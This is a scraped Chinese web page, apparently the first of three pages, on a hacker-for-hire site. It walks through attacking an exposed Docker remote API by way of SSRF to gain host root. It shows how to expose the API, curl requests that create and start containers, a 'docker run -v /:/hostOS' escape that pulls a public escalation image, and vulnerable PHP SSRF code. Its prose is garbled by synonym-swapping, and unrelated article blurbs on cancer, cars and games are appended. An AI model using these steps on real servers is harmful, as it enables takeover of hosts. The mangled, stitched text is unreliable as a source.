经过SSRF缝隙进犯Docker长途API获取服务器Root权限

经过SSRF缝隙进犯Docker长途API获取服务器Root权限这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来...

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来完结提权等一系列的操作?查找了各种材料之后,终究笔者探究到了一条经过SSRF缝隙来进犯Docker长途API,然后取得长途主机的root权限的进犯思路,经过这篇文章来共享一下整个进程及其防备的办法。
1. Docker长途API介绍
Docker长途API是Docker团队为了便运用户长途管理Docker而供给的一套API接口。在默许的情况下,Docker Daemon运转于Unix Socket上,一般为unix:///var/run/docker.sock。
当需求长途管理Docker服务器或许是创立Docker集群时,或许需求敞开Docker的长途API。在Ubuntu上的一种敞开办法如下:
修正/lib/systemd/system/docker.service文件,修正ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就能够运用Docker客户端或许恣意http客户端拜访Docker服务,例如:

能够看到Docker供给的API实质上是一个RSTful方式的http接口,详细的文档能够从Docker的官网获取:Engine API V1.24。
这儿列出几个重要的接口:
列出一切的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出一切镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
  "Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
  "ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
  ...
}]
创立并运转容器:
$ curl  -H "Content-Type: application/json"
  -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}'
  -X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl  "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这儿,咱们能够看到假如开放了Docker长途API,咱们便能够运用RESTful接口来完结一系列Docker容器操作。
2. 运用docker容器提权
有些朋友或许会问了:Docker容器内部是一个与主机阻隔的虚拟化环境,怎样才能运用Docker容器获取主机操控权?这儿就涉及到Docker运转时的用户权限了。Docker Daemon运转时是以root用户运转,因此具有极高的权限:
$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样经过Docker Daemon终究取得服务器的root权限?这儿咱们能够运用Docker挂载宿主机文件的功用,直接挂载高权限目录,然后在容器内部获取宿主机的操控权限。
这儿有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运转后的输出如下:

退出Docker,检查宿主机/root/目录:

咱们能够看到成功在/root文件夹写入了一个文件。
上面那条指令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease首要的作用是:从 Docker Hub上面下载咱们指定的镜像,然后运转。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,而且运用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,首要内容就是chroot到/hostOS中。这样咱们便经过读写宿主机的恣意文件完结了获取宿主机的最高权限。这个镜像的源码能够在 Github上获取。
3. 经过SSRF完结进犯
这儿咱们的服务器端环境如下:

在PHP中经常出现,导致SSRF缝隙的代码完结:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

[1] [2] [3]  黑客接单网

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/10077.html

(0)

相关推荐

  • 谈癌色变是什么病,嫌色细胞癌能治愈吗

    我的外公因为肺癌走了,他的一生就是烟不离囗,从水烟到旱烟,烟伴随他的一生。只是抽烟让外公得肺癌的机率也变高了。所以现在很多的病一查就是癌症,谈癌色变。其实很多病都是养出来,吃出来的。当然健康的生活习惯一样可以让癌细包怕你。一保持良好的愉悦的心情,对生活极积乐观,不斤斤计较,坦然面对接受,只要你有症样的心态,那么你就离寿星越来越近了。二养成良好的健康的生活习惯,饮食上清淡,不暴饮暴食,合理搭配,营养均衡。晚上不熬夜,保持充足睡眠,白天可以晒晒太阳,让身体吸收阳气,不受邪气侵袭。生活中不抽烟,酗酒。三生命在于运动,不要懒惰,合理运动,锻炼,使自己有一个健康的体魄。四学会喝水,水是生命的源泉,滋润万物。五定期的体检,体检可以很好的预防,早诊断,早治疗。只有健康的生活方式才能让癌远离我们,才能让我们更加健康幸福的生活。

    生活 2021年11月14日
  • [网络天地]破解一个漫画网站隐藏图片地址

    [网络天地]破解一个漫画网站隐藏图片地址先给大家看个网址:(以下称“这个网页”)这里是网友在线漫画机器猫第24卷的网址,只能在线看,想下载下来的话需要什么30点,我肯定是没有的。那怎么才能既不花什么什么点,又能下载图片离

    阅读 2021年9月24日
  • 电商平台该被消灭还是应该大规模普及?

    电商平台的发展,在我们国家已经有20年了。消费者从开始的否定,怀疑,到现在近10亿人选择网上购物,这种增长速度,是历史上任何商业模式所没有的。电商的兴起,为广大消费者带来了前所未有的方便,同时,也严重影响了传统实体店的生意,造成了大批实体店的消亡。而且,由于网络价格的透明,平台对商品展示位的排序等因素,流量自然或人为的向少数商品集中,头部位置成为了稀缺资源。商家为了销售产品,只能向平台购买流量,或者通过低价排序,甚至亏本销售来争取流量。由此,造成了商家之间无法控制的价格战。价格战的后果,就是商品质量越来越差,新产品开发后继无力,劣币驱逐良币现象愈演愈烈。最后,除了电商平台,工厂,商家,消费者都是输家。如果任由现在这样发展下去,整个社会都可能会陷入经济困境,共同富裕就不可能实现。

    科技 2021年11月21日
  • 大众宝来最新价格表,大众宝来报价及图片大全价格表

    大众宝来多少钱(官方报价)网友提问:大众宝来多少钱(官方报价)优质回答:在国内汽车市场,我们总能听到“特供”两个字。说真的,当下不少消费者对于特供车型都会心生别的想法,但实际上,目前国内在售的特供车型,整体的市场销量似乎

    攻略 2021年11月21日
  • 剑与远征活动日历(剑与远征团战攻略)

    夏日冒险带剑远征即将开启。活动中,玩家可以依次探索地图中的不同区域,帮助河豚船长和他的船队突破重重障碍,找到死潮船长的下落,完成复仇。所以今天边肖就为大家介绍一下剑与远征夏日冒险活...

    2022年8月4日
  • 面粉晒了会变味吗

    面粉晒了会变味吗没有过期的面粉在太阳下晒干后味道不会变。面粉的异味大部分是由于面粉的霉变变质造成的,在阳光下晒干不仅会使面粉变味,还会消散面粉中的一些异味。面粉由于储存方法不当,容易发霉。面粉一旦被霉菌感染,面粉中丰富的

    电商 2021年10月13日